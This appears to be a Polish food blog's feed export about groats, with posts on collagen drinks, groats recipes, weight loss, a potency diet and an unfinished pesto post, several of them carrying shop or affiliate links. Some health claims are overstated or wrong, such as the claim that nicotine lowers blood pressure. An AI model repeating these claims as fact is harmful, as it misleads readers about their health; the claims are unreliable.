tag:blogger.com,1999:blog-41174044079274499302024-03-25T00:33:20.246+01:00Kaszomania - pomysły na dania z kaszy jaglanejKasza jaglana - przepisy na dania z kaszy jaglanej.Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.comBlogger88125tag:blogger.com,1999:blog-4117404407927449930.post-80667952061110298172023-09-11T21:04:00.004+02:002023-09-11T21:04:49.916+02:00Co daje picie kolagenu? Poznaj 5 korzyści!<p><b>W dzisiejszym zabieganym świecie troska o zdrową skórę, włosy, paznokcie oraz stawy, a także ogólną kondycję zdrowotną organizmu jest niezmiernie istotna. Jednym z najnowszych trendów w dziedzinie zdrowia i urody jest picie kolagenu. Białko to odgrywa kluczową rolę w utrzymaniu elastyczności i wytrzymałości różnych tkanek w naszym ciele. Z tego artykułu dowiesz, jakie korzyści niesie za sobą picie kolagenu oraz jaki jest najlepszy kolagen do picia.</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXHcd_3F7sAhUwRsCo9MzURXebM8mP01f3xPdQVTleK5psegGPnq7_0HJQd2YKw2N3sTArVWsQLxo66Zhi808lILRYOMHM6_JiB6LnTPCuemxb535c53Bb9QTneMDnEZWziugRIbZ3mNa6nA4yXkgX0O_abrcDzZNtIwiApjHf9yA0RBV21CEMQptIgPQd/s800/picie%20kolagenu.webp" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="533" data-original-width="800" height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXHcd_3F7sAhUwRsCo9MzURXebM8mP01f3xPdQVTleK5psegGPnq7_0HJQd2YKw2N3sTArVWsQLxo66Zhi808lILRYOMHM6_JiB6LnTPCuemxb535c53Bb9QTneMDnEZWziugRIbZ3mNa6nA4yXkgX0O_abrcDzZNtIwiApjHf9yA0RBV21CEMQptIgPQd/w599-h399/picie%20kolagenu.webp" width="599" /></a></div><br /><h2 style="text-align: left;"><span><a name='more'></a></span>Co to jest kolagen?</h2><p>Kolagen to białko naturalnie występujące w organizmach ludzkich i zwierzęcych. Jest to jedno z najważniejszych białek strukturalnych w organizmach ssaków i stanowi kluczowy składnik tkanki łącznej. Kolagen pełni istotną rolę w utrzymaniu struktury i wytrzymałości wielu tkanek i narządów w organizmie. Niestety jego produkcja zaczyna spadać po 25 roku życia, w efekcie czego pojawiają się zmarszczki, a skóra traci swój dawny blask. </p><p>Okazuje się, że picie kolagenu może być kluczem do osiągnięcia celów, takich jak gładka i jędrna skóra, lśniące włosy, mocne stawy i kości. Poniżej znajdziesz pięć korzyści, dla których warto sięgnąć po kolagen do picia.</p><h2 style="text-align: left;">Kolagen do picia na skórę i zmarszczki</h2><p>Skóra jest naszym największym organem, a jej kondycja wpływa na nasz wygląd i pewność siebie. Jednak z wiekiem, skóra traci swoją elastyczność i jędrność, co prowadzi do powstawania zmarszczek i utraty blasku. I w tym momencie warto sięgnąć po kolagen do picia.</p><p>Kolagen to białko, które stanowi podstawową strukturę skóry. Picie kolagenu może pomóc w utrzymaniu jej jędrności i elastyczności. <a href="https://www.ncbi.nlm.nih.gov/pubmed/23949208" target="_blank">Badania dowodzą</a>, że regularne spożywanie kolagenu może przyczynić się do zmniejszenia widoczności zmarszczek oraz poprawy ogólnego wyglądu skóry.</p><h2 style="text-align: left;">Picie kolagenu pomaga wzmocnić włosy i paznokcie</h2><p>Włosy i paznokcie to często bagatelizowane elementy naszego wyglądu, ale mają duże znaczenie dla naszej pewności siebie i postrzegania nas przez innych.</p><p>Włosy i paznokcie składają się z kolagenu, dlatego jego dostateczna ilość w diecie jest kluczowa dla ich zdrowego wyglądu i prawidłowego wzrostu. Regularne picie kolagenu może przyczynić się do wzmocnienia włosów, zmniejszenia ich łamliwości oraz poprawy kondycji zdrowotnej paznokci.</p><h2 style="text-align: left;">Pijąc kolagen wzmacniasz stawy i kości!</h2><p>Kolagen może być zbawieniem dla osób cierpiących na bóle stawów i kości. Nasze stawy i chrząstki, aby zachować ruchomość i komfort, potrzebują kolagenu. Z biegiem czasu, niedobór kolagenu może prowadzić do bólu, obniżonej mobilności i utraty funkcji stawów.</p><p>Picie kolagenu może pomóc w odbudowie i regeneracji chrząstek stawowych. Oznacza to większą wygodę i ruchomość stawów. Ponadto kolagen jest istotny dla zdrowia kości i wpływa na ich wytrzymałość.</p><h2 style="text-align: left;">Kolagen stanowi wsparcie dla mięśni</h2><p>Kolagen nie jest głównym białkiem budulcowym mięśni, ale ma istotne znaczenie dla ich funkcjonowania. Picie kolagenu może pomóc w utrzymaniu mięśni w dobrej kondycji.</p><p>Choć białka mięśniowego nie można zastąpić kolagenem, to jednak picie kolagenu może wspomóc ogólną kondycję mięśni. Jest to istotne zarówno dla aktywnych osób, jak i tych, które starają się zachować zdrową masę mięśniową.</p><h2 style="text-align: left;">Kolagen do picia czy kolagen pozyskany z diety?</h2><p>Warto pamiętać, że kolagen to nie jest cudowny eliksir, który rozwiązuje wszystkie problemy zdrowotne. Jest jednak istotnym składnikiem zdrowej diety i pielęgnacji. Istnieją różne źródła kolagenu, w tym produkty spożywcze i suplementy.</p><p>Produkty bogate w kolagen obejmują skórę kurczaka, ryby, jaja i kolagenowe proszki. Suplementy kolagenowe są również dostępne na rynku i mogą być łatwiejszym sposobem na dostarczenie organizmowi tego ważnego białka.</p><p>Jeżeli chcesz wybrać najlepszy i najmocniejszy kolagen do picia, sprawdź artykuł: <a href="https://zdrowomaniak.pl/kolagen-do-picia/">https://zdrowomaniak.pl/kolagen-do-picia/</a>, gdzie oprócz rankingu kolagenów do picia, znajdziesz fakty poparte badaniami.</p><h2 style="text-align: left;">Podsumowanie</h2><p>Picie kolagenu może przynieść wiele korzyści zdrowotnych, od poprawy kondycji skóry i stawów po wzmocnienie włosów i paznokci. Jednak przed rozpoczęciem suplementacji kolagenu zawsze warto skonsultować się z lekarzem lub dietetykiem, aby upewnić się, czy jest to odpowiedni krok dla twojego organizmu.</p><p>Pamiętaj, że kolagen to nie jest magiczny środek na wszystkie problemy, ale może stanowić ważny element zdrowej diety i pielęgnacji. Dlatego picie kolagenu może być cennym wsparciem dla Twojego zdrowia i urody.</p><p>Nie zapomnij dać swojemu organizmowi tego, czego potrzebuje, by cieszyć się zdrowym i młodzieńczym wyglądem przez długie lata.</p>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-91218130307756513662021-11-22T18:49:00.000+01:002021-11-22T18:49:09.092+01:005 pomysłów na zdrowe dania z kaszą<p style="text-align: left;">Czy wiesz, że kasze to jedne z najbardziej pełnowartościowych produktów w diecie każdego z nas? Dodają mnóstwa energii, sprawiają, że czujemy się lepiej, a nasz organizm otrzymuje naprawdę zdrowy przysmak. Jakie proste i szybkie dania z kaszą w roli głównej możemy przygotować codziennie w swoim domu? Oto 5 prawdopodobnie najprostszych przepisów.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOxrKrm5NhJXB8GrCvw1x5J-vMM4sD9xxlGKtaIZIFIT6_ZMMDdSZdwmFPMVgwsAV9v6PnUCYsCGtWcwGgx6V6OuDTCSLIwSk7MWQ_GQJA3C5WQgQUiY_0rE3q_f38AS0hqmt1SvcvGuDA/s800/ciasto-z-kaszy-jaglanej.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ciasto z kaszy jaglanej" border="0" data-original-height="746" data-original-width="800" height="373" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOxrKrm5NhJXB8GrCvw1x5J-vMM4sD9xxlGKtaIZIFIT6_ZMMDdSZdwmFPMVgwsAV9v6PnUCYsCGtWcwGgx6V6OuDTCSLIwSk7MWQ_GQJA3C5WQgQUiY_0rE3q_f38AS0hqmt1SvcvGuDA/w400-h373/ciasto-z-kaszy-jaglanej.jpg" width="400" /></a></div><p style="text-align: left;"><br /></p><h2>Placuszki na słodko z kaszą owsianą - propozycja na słodkie śniadanie lub podwieczorek</h2>
<p>Jeśli lubisz słodkie śniadania lub popołudnia okraszone kawą z przystawką to te placuszki skradną Twoje serce. Do ich przygotowania użyj <a href="https://sklep.biobabalscy.pl/pl/p/Kasza-owsiana-BIO-0%2C5kg/70">kaszy owsianej</a>, mieszanki mąki bezglutenowej i orzechów lub suszonych owoców. Placuszki podsmażysz na oleju, aż uzyskają złoty kolor. Możesz je podać z masłem orzechowym lub owocami, bądź inną oryginalną wariacją. Jedno jest pewne, Twój dzień nabierze zupełnie innego koloru, gdy wypróbujesz tak pysznego, słodkiego wariantu placuszków domowej roboty.</p>
<h2>Kasza gryczana z sosem pieczarkowym i delikatnym kurczakiem</h2>
<p>To danie możesz zaserwować na co dzień, ale również od święta. Jego przygotowanie nie zajmie Ci więcej niż 30 minut, a rodzina i zaproszeni goście na pewno rozsmakują się w pachnących grzybach i delikatnym mięsie. Wystarczy, że ugotujesz odpowiednią ilość <a href="https://sklep.biobabalscy.pl/pl/p/Kasza-gryczana-Krakowska-BIO-0%2C5kg/286">kaszy krakowskiej</a>, a następnie podsmażysz mięso i pieczarki. Sos przygotuj z delikatnej śmietanki lub mleczka kokosowego. Będzie pysznie, aromatycznie i zdrowo, jeśli gotowe danie posypiesz odrobiną natki pietruszki.</p>
<h2>Słodki deser w niecodziennej odsłonie - snickers z kaszy jaglanej</h2>
<p>Jeśli lubisz standardowe batony snickers, ale aktualnie unikasz jedzenia przetworzonych i niezdrowych słodyczy to domowy snickers na pewno Ci się spodoba. Do jego przygotowania potrzebujesz <a href="https://sklep.biobabalscy.pl/pl/p/Kasza-jaglana-BIO-1kg/90">kaszy jaglanej</a>, odrobiny mleka, daktyle, masło orzechowe, orzeszki ziemne i gorzką czekoladę. Przepis na taki domowy deser znajdziesz w internecie, a jego smak na pewno długo pozostanie w Twojej pamięci. Sprawdź go, bo warto!</p>
<h2>Kasza gryczana niepalona z grzybami lub smażoną kaczką</h2>
<p>Jeśli chcesz zaserwować swoim gościom coś specjalnego to koniecznie wysmaż kaczkę z jabłkiem i dodaj do tego <a href="https://sklep.biobabalscy.pl/pl/p/Kasza-gryczana-niepalona-BIO-0%2C5kg/71">kaszę gryczaną niepaloną</a>. To klasyk wśród dań na specjalne okazje.</p>
<p>Innym wariantem dania z kaszą gryczaną w roli głównej będzie pieczona karkówka z grzybami i kaszą, która może być wersją obiadową dla fanów delikatnego mięsa wieprzowego. Wypróbuj jednego i drugiego dania na obiad z mięsem.<br /><br /></p>Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com1tag:blogger.com,1999:blog-4117404407927449930.post-9029743594468962162019-05-28T21:53:00.000+02:002019-05-28T21:53:13.284+02:00Kasza "na zdrowie" - rodzaje i walory odżywczeDobrze się dzieje, że coraz więcej ludzi zaopatruje się w żywność ekologiczną, dbając o swoje zdrowie. Niektórzy uprawiają w mini szklarniach przydomowych własne warzywa, zakładają zielniki, aby zmienić całkowicie styl swojego żywienia. Eko żywność jest na przysłowiowym topie, wzrasta świadomość i inteligencja ekologiczna – to dobra tendencja, która powinna wciąż wzrastać.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglaTc1bQe6jgNLlRYFDWGQao827hHRNepX3BeAtKeQR7dZMYFrxN-LYaKmkWp2usA707YL-NaISe4ZLnn890v6UllfUyQrxbadrpdZ3g1j3NLYEjLeXApMv2MkH4vJRhMsoe584rKUcg3n/s1600/kasza.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="662" data-original-width="1000" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglaTc1bQe6jgNLlRYFDWGQao827hHRNepX3BeAtKeQR7dZMYFrxN-LYaKmkWp2usA707YL-NaISe4ZLnn890v6UllfUyQrxbadrpdZ3g1j3NLYEjLeXApMv2MkH4vJRhMsoe584rKUcg3n/s640/kasza.jpg" width="640" /></a></div>
<br />
<a name='more'></a><br />
<br />
<h2>
Z czym to się je?</h2>
<br />
Wśród żywności opatrzonej etykietką Bio czy Eko można znaleźć produkty wytwarzane na bazie ziół, ekstraktów z owoców, warzyw czy różnych nasion: <a href="https://allegro.pl/kategoria/zdrowa-zywnosc-74062">https://allegro.pl/kategoria/zdrowa-zywnosc-74062</a>. Wśród nich nie brakuje też cennych kasz. Jest ich naprawdę sporo, dlatego warto znaleźć tę, która będzie najodpowiedniejsza. Nie tylko pod względem walorów smakowych, ale też zdrowotnych. Generalnie każda z nich ma o wiele większe wartości odżywcze niż ziemianki, ryż czy makaron. Dlaczego? Ponieważ w większości z nich znajduje się dużo skrobi, która bardzo powoli zamienia się w glukozę. Kasza jest bardzo dobrym ”paliwem” dla mózgu i wszystkich komórek. 100 g tych maleńkich, zdrowych ziarenek zapewnia odpowiednią podaż węglowodanów na cały dzień. Kasza jest również bogata w witaminy (m.in. z grupy B, tiaminę, niacynę czy i minerały (miedź, cynk, mangan, krzem i in. ponieważ jest produktem z pełnego ziarna z łuskami i zarodkami. Dużo jest w nich także rutyny, czyli bioflawonoidu, E oraz ryboflawiny) wzmacniającego naczynia krwionośne. Zawiera się w nich także białko i błonnik (szczególnie w gryczanej). Nie brakuje w nich także foilianów, które mają swój udział w podziale komórek oraz wspieraniu układu nerwowego i krwionośnego.<br />
<br />
<h2>
Kasza gryczana – palona i biała</h2>
<br />
Uważana jest za jedną z najzdrowszych kasz ze względu na grubość przemiału. Zawiera się w niej sporo błonnika, regulującego metabolizm oraz takich minerałów jak miedź, mangan, fosfor i cynk. Oprócz tego jest także cennym źródłem krzemu.<br />
<ul>
<li>Magnez – wpływa m.in. na pracę mięśni i układu nerwowego</li>
<li>Cynk – pomaga utrzymać dobrą kondycję skory, paznokci, włosów i kości.</li>
<li>Krzem – pierwiastek życia, wpływa na urodę i zdrowie całego organizmu.</li>
<li>Miedź i fosfor – wpływają na zdrowie kości</li>
</ul>
Nie zakwasza organizmu, jest bezglutenowa i co ciekawe na jej bazie produkuje się mąkę.<br />
<br />
W kaszy gryczanej znajduje się sporo antyoksydantów, czyli wykazuje działanie przeciw wolnym rodnikom. Mogą spożywać ją chorzy na cukrzycę, ponieważ zawiera niski indeks glikemiczny i ma w sobie spor o błonnika (stabilizuje poziom cukru i reguluje trawienie). Spożywanie kaszy gryczanej pomaga zachować zdrową skórę i włosy, oraz złagodzić stres. Powinna pomóc w problemach trawiennych, m.in. w zaparciach. Dodaje energii i usprawnia pracę układu nerwowego.<br />
<br />
<h2>
Kasza jaglana</h2>
<br />
To najstarsza znana kasza, którą pozyskuje się z nasion prosa. Zawiera mnóstwo białka oraz witaminy B1 tiaminy, B2 ryboflawiny i B3. Nie brakuje w niej takich pierwiastków jak żelazo czy miedź i co ważne jest bezglutenowa. Oprócz tego zawiera się w niej sporo krzemu I antyoksydantów eliminujących wolne rodniki. Kasza jaglana to także świetny sposób w walce z nadkwasotą, oczyszcza organizm i usprawnia pracę jelit. Warto ją spożywać na śniadanie, ponieważ jest lekkostrawna, a zarazem sycąca. Trzeba też podkreślić, że nasiona jagły to cenne i zdrowe źródło energii.<br />
<br />
<h2>
Kasza jęczmienna</h2>
<br />
Chyba nie ma osoby, która by o tej kaszy nie słyszała. Wytwarzana jest z ziaren jęczmienia i dzieli się na kaszę pęczak, grubą, średnią, drobną oraz perłową. Zawiera się w niej sporo witaminy PP czyli niacyny, dzięki której stabilizuje się poziom cholesterolu, ale działa też dobroczynnie na skórę i na układ krwionośny. Po spożyciu kaszy jęczmiennej na długo pozostaje uczucie sytości, ponieważ znajduje się w niej spora ilość błonnika. Warto podkreślić, że kasza ta reguluje metabolizm glukozy, dlatego jest przyjazna dla cukrzyków. Niestety, kasza jęczmienna zawiera gluten, dlatego nie powinny jej jeść osoby chore na celiakię czy uczulone na to białko zbożowe.<br />
<br />
To tylko trzy rodzaje najpopularniejszych kasz, które często goszczą na naszych stołach. Oprócz nich warto skosztować kaszy kuskus powstającej z pszenicy twardej durum. Polecana szczególnie dzieciom, kobietom w ciąży i osobom starszym. Tak samo warto wpisać do swojego jadłospisu kaszę mannę, drobniutką kaszę pszenną, wspomagającą pracę nerek i dróg moczowych oraz kaszę kukurydzianą, zawierającą sporo dobrego tłuszczu i witaminy E.<br />
<br />
Każda z kasz to podstawa, zdrowa baza do smacznego dania i skarbnica cennych składników odżywczych. Dobre węglowodany, białko roślinne, minerały oraz witaminy zawarte w kaszach kuszą miłośników ekologicznego jedzenia. Oprócz tych walorów odżywczych liczy się także dobry smak, którego kaszom odmówić w żaden sposób nie można.Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-84870640896691483022019-03-20T15:26:00.001+01:002024-03-24T20:03:33.310+01:00Czy kasza jaglana jest dobra na odchudzanie?<b>Popularna na naszym blogu kasza jaglana wytwarzana jest z prosa. Od kilku lat jednak obserwowany jest pewnego rodzaju renesans kaszy jaglanej, bowiem coraz częściej gości ona na naszych stołach i znajdziemy ją w każdym sklepie spożywczym. Mimo, że kasza jaglana cieszy się mniejszym zainteresowaniem niż ryże czy kasza gryczana, to jednak jest ona źródłem wielu cennych składników odżywczych i co ważne – jest bezglutenowa. Wiele osób będących na diecie chętnie sięga po proso, ale czy kasza jaglana na odchudzanie to rzeczywiście dobry wybór?</b><br />
<b><br /></b>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ6xTm4TX1ydWgOGNBAMoayvbOsTMbShszq4N-aFM4UaDcaQ3Zx73xHdf4Jbzk7xY5ltZ4lzSOZi8phiz7Hojz1OBuP2IuxYidQbHlYXkYybec2dEJp7KvoJHUGsxU3gZoj7clv51Kt_k6/s1600/kasza-jaglana.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="kasza jaglana" border="0" data-original-height="506" data-original-width="900" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ6xTm4TX1ydWgOGNBAMoayvbOsTMbShszq4N-aFM4UaDcaQ3Zx73xHdf4Jbzk7xY5ltZ4lzSOZi8phiz7Hojz1OBuP2IuxYidQbHlYXkYybec2dEJp7KvoJHUGsxU3gZoj7clv51Kt_k6/s640/kasza-jaglana.jpg" title="" width="640" /></a></div>
<br />
<a name='more'></a><b><br />
</b><br />
O kaszy jaglanej mówi się, że jest pełnym ziarnem, a jak wiadomo tego typu pożywienie to skarbnica błonnika oraz wielu cennych składników odżywczych, które chronią organizm przed nowotworami oraz otyłością. Zdecydowanie lepiej jest sięgnąć po kaszę jaglaną aniżeli po biały ryż czy makaron, które mimo że smaczne, często pozbawione są wielu wartości odżywczych.<br />
<br />
<b>Jakie składniki odżywcze zawiera kasza jaglana?</b><br />
<br />
<b><u>100 g kaszy jaglanej dostarczy nam:</u></b><br />
<br />
<br />
<ul>
<li>342 kalorie,</li>
<li>2,9 g tłuszczów (w tym kwasy tłuszczowe nasycone, które stanowią 0,6 g) ,</li>
<li>68 g węglowodanów (w tym cukry 13 g)</li>
<li>11 g białka</li>
</ul>
<br />
<br />
Podobnie jak w przypadku innych kasz, większość energii pochodzi z węglowodanów.<br />
<br />
Dodatkowo regularne spożywanie kaszy jaglanej dostarczy nam <b>błonnika</b>, oraz takich składników odżywczych jak: <b>witaminy z grupy B, żelazo, wapń, cynk</b> oraz <b>witamina E</b>.<br />
<br />
Kasza jaglana nie zawiera glutenu, dlatego z powodzeniem mogą sięgać po nią osoby będące na specjalnych dietach, które wymagają spożywania produktów bezglutenowych.<br />
<br />
<h2>
Czy kasza jaglana jest dobra na odchudzanie?</h2>
<br />
Nie ma jednoznacznych badań, które skupiałyby całą swoją uwagę na kaszy jaglanej i jej wpływie na redukcję masy ciała. Niemniej jednak <b>dotychczasowe przeprowadzone badania pokazują, że osoby spożywające więcej produktów zawierających pełne ziarna ważą mniej niż osoby, które sięgają po ziarna rafinowane</b>.<br />
<br />
Kaszę jaglaną można wykorzystać na wiele sposobów do przygotowywania dań. Sprawdzi się ona zarówno w daniach słodkich, jak i wytrawnych. Wiele przepisów znajdziecie na naszym blogu, ale już teraz zapraszamy was do odwiedzenia strony <a href="https://zdrowomaniak.pl/" target="_blank">Zdrowomaniak</a>, gdzie znajdują się nasze przepisy na dania z kaszy jaglanej w wersji odświeżonej i udoskonalonej.<br />
<br />
Naukowcy są zdania, że spożywanie kaszy jaglanej ma pozytywny wpływ na metabolizm, a jak wiadomo dobra przemiana materii to łatwiejsze odchudzanie i co za tym idzie – zrzucenie zbędnych kilogramów w szybszym tempie.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLMAXT2LYenPMm6tvyyImxxTsMLkOC2jKCkuzOlsgz8F0MH1zbAD7MIMCZLXyn1UbzWISsWjIEBEgSB1rLWWB6xP5xdhvWhtqoMkr8Qe3oXDHPlQlK75_L2p9SD48HGV5daJ_684LeCawu/s1600/kasza-jaglana-na-odchudzanie.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="kasza jaglana na odchudzanie" border="0" data-original-height="506" data-original-width="900" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLMAXT2LYenPMm6tvyyImxxTsMLkOC2jKCkuzOlsgz8F0MH1zbAD7MIMCZLXyn1UbzWISsWjIEBEgSB1rLWWB6xP5xdhvWhtqoMkr8Qe3oXDHPlQlK75_L2p9SD48HGV5daJ_684LeCawu/s640/kasza-jaglana-na-odchudzanie.jpg" title="" width="640" /></a></div>
<br />
<h2>
Gdy najdzie Cię ochota na coś słodkiego…</h2>
<br />
Kiedy nie mamy energii najczęściej sięgamy po przekąskę, która dostarczy nam odpowiednią ilość energii. Niestety zazwyczaj jest to baton lub ciastka zawierające niezdrowe substancje słodzące. Tymczasem typowe marketowe słodycze można z powodzeniem zastąpić łakociami przygotowanymi na bazie kaszy jaglanej. Doskonałym pomysłem jest chociażby <b>rafaello z kaszy jaglanej</b>, które nie tylko oczaruje Twoje podniebienie, ale sprawdzi się również na różnego rodzaju uroczystościach, podczas których stół aż ugina się od ciężkich i kalorycznych słodkości.<br />
<br />
<h2>
Jaki z tego morał?</h2>
<br />
Warto sięgać po kaszę jaglaną, ponieważ dzięki zawartości błonnika oraz gamie składników odżywczych, ziarno to może przyczynić się do poprawy efektów odchudzania. Warto jednak pamiętać, że nie należy opierać całej swojej diety o kaszę jaglaną, bowiem posiada ona wysoki indeks glikemiczny, co nie do końca jest pożądane w trakcie stosowania diety odchudzającej. Warto jednak na stałe włączyć proso w proces odchudzania, a całą dietę wzbogacić o inne ziarna, białko, zielone warzywa oraz zdrowe tłuszcze. Kasza jaglana na odchudzanie jest dobrym rozwiązaniem, ale zdecydowanie w ograniczonych ilościach.Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-59133141302004410362018-12-18T10:57:00.001+01:002022-11-10T09:51:02.100+01:00Dieta na potencję - co jeść, a czego unikać w menu, by wesprzeć libido?To co spożywasz ma niebagatelny wpływ na całokształt funkcjonowania Twojego organizmu. Nieodpowiednia dieta może zaburzać procesy zachodzące w Twoim ciele, a także negatywnie oddziaływać na psychikę i samopoczucie. Warto byś zadbał o to co znajduje się na Twoim talerzu, szczególnie jeśli zależy Ci na tym, by wspomóc swoja potencję.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoMxmCNH2wTaxYv7zsey1YrnDNeE5kVUJGH5JnjnsYespImY5L3p7_mFC4Mq0NJvCuHpV5vChyphenhyphen0ToUSYFrCwhj-Dus5sTRot9XRYyGwZWqCQbfbwZ4LOlhabwOWr0LlECKCvEDz_tqKYfv/s1600/dieta-na-potencje.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="725" data-original-width="1000" height="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoMxmCNH2wTaxYv7zsey1YrnDNeE5kVUJGH5JnjnsYespImY5L3p7_mFC4Mq0NJvCuHpV5vChyphenhyphen0ToUSYFrCwhj-Dus5sTRot9XRYyGwZWqCQbfbwZ4LOlhabwOWr0LlECKCvEDz_tqKYfv/s640/dieta-na-potencje.jpg" width="640" /></a></div>
<br />
<br />
<a name='more'></a><br />
<br />
<h2>
Wpływ diety na libido</h2>
<br />
Zaburzenia erekcji to popularny problem naszych czasów. Żyjemy w pośpiechu, dużo się stresujemy, mało ruszamy, stosujemy popularne używki, źle się odżywiamy. Ruch i sport, są nam absolutnie potrzebne do tego, by wszystko działało właściwie. Podobnie jest jednak z dietą. Źle odżywieni możemy mieć braki energetyczne, albo wręcz przeciwnie, skumulowane nadmiary tkanki tłuszczowej, mogące prowadzić do powstania chorób krążenia ściśle wiążących się z erekcją, a w zasadzie jej brakiem. Otyłość to także zaburzenia w produkcji hormonów męskich odpowiedzialnych za funkcje seksualne.<br />
<br />
Aby organizm był sprawny koniecznym jest zaspokojenie jego zapotrzebowania na wszystkie niezbędne składniki odżywcze, witaminy, mikro i makroelementy. Stosując restrykcyjne diety odchudzające, czy żywiąc się fast-foodami, tworzymy braki, które prędzej, czy później spowodują pewne dysfunkcje.<br />
<br />
<h2>
Czego unikać?</h2>
<br />
Tych produktów lepiej się wystrzegać lub ograniczyć:<br />
<br />
<ul>
<li><b>alkohol i papierosy</b> - niektórym trudno sobie wyobrazić randkę, imprezę, czy relaksujący wieczór. Dobre wino do kolacji to nie grzech, jednak wypicie całej butelki może już zniweczyć plany na romantyczne spotkanie. Podobnie jest z regularnym, częstym spożywaniem alkoholu. Nikotyna natomiast obniża ciśnienie krwi w naczyniach, co może utrudniać uzyskanie pełnego wzwodu.</li>
<li><b>jedzenie w puszkach</b> - zawarty w aluminiowych opakowaniach bisfenol A ma negatywne oddziaływanie na hormony. Nie zaleca się jedzenia konserw mięsnych, rybnych, ani innych puszkowanych produktów.</li>
<li><b>tłuszcz</b> - nie wykluczaj go całkowicie, wybieraj jednak te zdrowe produkty tłuszczowe. Zrezygnuj raczej z tłustych mięs, wędlin, smalcu oraz fast-foodów. Z powodzeniem jednak możesz przestawić się na ryby morskie, białe mięso, owoce morza, olej kokosowy, lniany i rzepakowy.</li>
<li><b>cukier</b> - podnosi poziom glukozy we krwi pobudzając produkcję insuliny. Ta zaś wpływa negatywnie na ilość wytwarzanego przez organizm testosteronu.</li>
<li><b>soja</b> - spożywana w niewielkich ilościach nie stwarza zagrożenia dla naszego libido, nadmiar soi natomiast może działać podobnie jak estrogen, czyli wyciszać męskość.</li>
</ul>
<br />
<h2>
Składniki potrzebne każdemu mężczyźnie</h2>
<br />
To, czego potrzebuje Twój organizm, by zawsze stanąć na wysokości zadania, jest komplet witamin, ze szczególnym uwzględnieniem witamin z grupy B oraz witaminy D. W przypadku tej drugiej, najlepiej pozyskiwać ją naturalnie, ze słońca. Z uwagi na klimat w jakim się znajdujemy, w okresie od września do marca, zalecana jest suplementacja wykorzystując np. zioła na potencję zamknięte w kapsułkach.<br />
<br />
Niezwykle istotną rolę odgrywają w przypadku potencji takie składniki mineralne jak: cynk, magnez oraz żelazo. Pamiętaj o tym, by zapewnić organizmowi odpowiednią dawkę węglowodanów, które przełożą się na energię i siły witalne. Jeśli zależy Ci na tym, by nieco wspomóc naturę, włącz do swojej diety popularne afrodyzjaki, czyli ostrygi, kalmary, krewetki, ryby, pestki dyni, seler, korzeń pietruszki, banany, awokado, melon, ananas. Spośród przypraw wybieraj te, które pobudzą krążenie: cynamon, kardamon, goździki, pieprz, czerwoną paprykę, imbir, lubczyk, curry oraz chili.<br />
<br />
Dbaj o siebie, o swoją dietę, dużo się ruszaj i spędzaj czas na świeżym powietrzu. Zdrowy organizm z odpłaci Ci za to dobrym samopoczuciem i prawidłowym funkcjonowaniem.Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-89244606052031740452017-11-14T22:40:00.001+01:002017-11-14T22:40:54.275+01:00Trzy wypróbowane przepisy na pesto. Zobacz pomysły<div class="separator" style="clear: both; text-align: left;">
Ponad 54 proc. Polaków zamawia dania kuchni włoskiej. Chociaż kojarzona przede wszystkim z pizzą oraz sosem bolońskim, wcale nie ogranicza się wyłącznie do tych dwóch elementów. Typowy dla Włochów jest zielony sos pesto o wszechstronnym zastosowaniu. Dowiedz się, z czym najlepiej go podawać i poznaj sprawdzone przepisy.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMdvHhERQEdj2vgFdexGumbUMIy4ECqn5KJZA5d2TYbZJGItpopFNAb0ERGen-bhf41o31k4JMcb4_gNzxe-yS2EUxohC0Puc5tZt-gzYW1PsisKKohQ7Tr3f6jp6Pzy5z_2RyO7fAx2Bl/s1600/pesto-2228269_1920.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMdvHhERQEdj2vgFdexGumbUMIy4ECqn5KJZA5d2TYbZJGItpopFNAb0ERGen-bhf41o31k4JMcb4_gNzxe-yS2EUxohC0Puc5tZt-gzYW1PsisKKohQ7Tr3f6jp6Pzy5z_2RyO7fAx2Bl/s640/pesto-2228269_1920.jpg" width="640" /></a></div>
<br />
